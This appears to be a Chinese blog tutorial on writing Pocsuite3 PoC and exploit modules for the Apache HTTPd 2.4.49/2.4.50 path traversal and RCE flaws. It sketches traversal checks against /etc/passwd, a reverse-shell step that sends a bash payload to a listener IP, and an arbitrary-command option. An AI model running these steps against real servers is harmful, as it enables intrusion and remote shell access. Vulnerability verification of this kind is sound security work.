Pocsuite3 是一个POC框架,用于漏洞的验证、攻击等等
使用
https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md
Pocsuite3可以进行批量验证、攻击,它有三种模式verify(验证)、attack(攻击)、shell(获得shell),并且可以设置多种参数。
编写POC
这里以CVE-2021-41773、CVE-2021-42013为例尝试使用Pocsuite3编写PoC与EXP:
思路:
分为linux与windows:
发送post包检测是否可以RCE
如果不可以的话发送get包检测是否可以目录穿越
读取对象:/etc/passwd
关键字:root
由于windows的apache无法直接调用cmd执行命令,只能通过php.exe之类的来解析,所以不考虑RCE,只判断是否可以目录穿越读取文件。
读取对象:c:/Windows/win.ini
关键字:extensions
由于两个RCE仅仅是URL编码的不同,所以这里直接使用二次URL编码来兼容两个RCE。
注意:python的request请求包会自动进行一次编码,所以编写poc的时候不需要二次编码
使用%2e即可
实验发现不行,它会在编码之前先解码一次,解码之后会将..删除,所以换了urllib库。
导入包
编写 PoC 实现类 DemoPOC
,继承自 PoCBase
类
1
2
3
4
5
6
7
8
|
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
...
|
PoC信息字段填写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1.0' # 默认为1
author = 'Oulaa' # PoC 作者的大名
vulDate = '2021-10-5' # 漏洞公开的时间,不知道就写今天
createDate = '2021-10-5' # 编写 PoC 的日期
updateDate = '2021-10-5' # PoC 更新的时间,默认和编写时间一样
references = [] # 漏洞地址来源,0day 不用写
name = 'CVE-2021-41773/CVE-2021-42013 Apache HTTPd (2.4.49/2.4.50)' # PoC 名称
appPowerLink = 'Apache HTTPd' # 漏洞厂商主页地址
appName = 'Apache HTTPd' # 漏洞应用名称
appVersion = '2.4.49/2.4.50' # 漏洞影响版本
vulType = 'Path Traversal' # 漏洞类型,类型参考见漏洞类型规范表
desc = '''
Apache HTTPd 中间件2.4.49/2.4.50版本的目录穿越漏洞,在开启了CGI的情况下可以做到RCE。
''' # 漏洞简要描述
samples = [] # 测试样列,就是用 PoC 测试成功的网站
install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
pocDesc = ''' Apache HTTPd 2.4.49/2.4.50 验证是否存在目录穿越/RCE
'''
|
验证模式编写
调用验证模式会进入_verify ,使用self.url 获得需要验证的url ,使用output.success(result)输出成功信息,使用output.fail 输出失败信息。
demo:
1
2
3
4
5
6
7
8
|
def _verify(self):
output = Output(self)
# 验证代码
if result: # result是返回结果
output.success(result)
else:
output.fail('target is not vulnerable')
return output
|
注意:在_verify中我们常用新的函数 _check 来处理具体的验证逻辑,然后 使用_parse_output函数完成输出处理。例如在我们的poc中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
def _verify(self):
result ={}
apache = self._check(self.url)
if apache:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['SYSTEM'] = apache[0]
result['VerifyInfo']['TYPE'] = apache[1]
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('[-]target is not vulnerable')
return output
def _check(self, url):
# return False
return result
|
记录一下在编写CVE-2021-41773、CVE-2021-42013的_check 遇到的问题
- 1.request 无法编码的问题:
使用urllib 库
- 2.urllib库无法使用pocsuite3的proxy参数来代理:
使用它自己的proxy代理方式
- 3.相关的python代码“urllib 库的使用”
编写攻击模式
_attack 模式与验证模式的编写方式差不多,但功能上更倾向于对目标进行 getshell,查询管理员帐号密码等操作。
1
2
3
4
|
def _attack(self):
output = Output(self)
result = {}
# 攻击代码
|
如果不想定义该内容,return self._verify()
即可。
编写shell模式
pocsuite3 在 shell 模式会默认监听 6666
端口,编写对应的攻击代码,让目标执行反向连接运行 pocsuite3 系统 IP 的 6666
端口即可得到一个 shell
1
2
3
|
def _shell(self):
cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
# 攻击代码 execute cmd
|
shell 模式下,只能运行单个 PoC 脚本,控制台会进入 shell 交互模式执行命令及输出
返回内容
不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写
1
2
3
4
5
6
7
8
9
10
11
12
|
'Result':{
'DBInfo' : {'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx' , 'Uid':'xxx' , 'Groupid':'xxx'},
'ShellInfo': {'URL': 'xxx', 'Content': 'xxx' },
'FileInfo': {'Filename':'xxx','Content':'xxx'},
'XSSInfo': {'URL':'xxx','Payload':'xxx'},
'AdminInfo': {'Uid':'xxx' , 'Username':'xxx' , 'Password':'xxx' }
'Database': {'Hostname':'xxx', 'Username':'xxx', 'Password':'xxx', 'DBname':'xxx'},
'VerifyInfo':{'URL': 'xxx' , 'Postdata':'xxx' , 'Path':'xxx'}
'SiteAttr': {'Process':'xxx'}
'Stdout': 'result output string'
}
|
POC中:
1
2
3
4
|
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['SYSTEM'] = apache[0]
result['VerifyInfo']['TYPE'] = apache[1]
|
自定义参数
如果你需要编写一个可以交互参数的 PoC 文件(例如有的 PoC 脚本需要填写登录信息,或者任意命令执行时执行任意命令),那么可以在 PoC 文件中声明一个 _options
方法。一个简单的例子如下
1
2
3
4
5
6
7
8
9
10
|
from collections import OrderedDict
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OptString
......
def _options(self):
o = OrderedDict()
o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True)
o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False)
return o
|
PoC:
1
2
3
4
|
def _options(self):
o = OrderedDict()
o["cmd"] = OptString('', description='[+]请输入你想执行的命令', require=True)
return o
|
总结:
简单使用了一下,感觉Pocsuite3来编写漏洞POC或者EXP还是比较方便的,还可以方便自定义插件,但是在使用了自定义参数后必须要使用这点比较不方便,没有找到解决方法可以让仅仅在某个模式才需要键入参数的方法。
代码地址:
https://github.com/Luoooio/allCode/blob/main/pocsuite3_pocs/CVE-2021-41773.py
参考文章
https://paper.seebug.org/904/
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#namedstandard
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#write_poc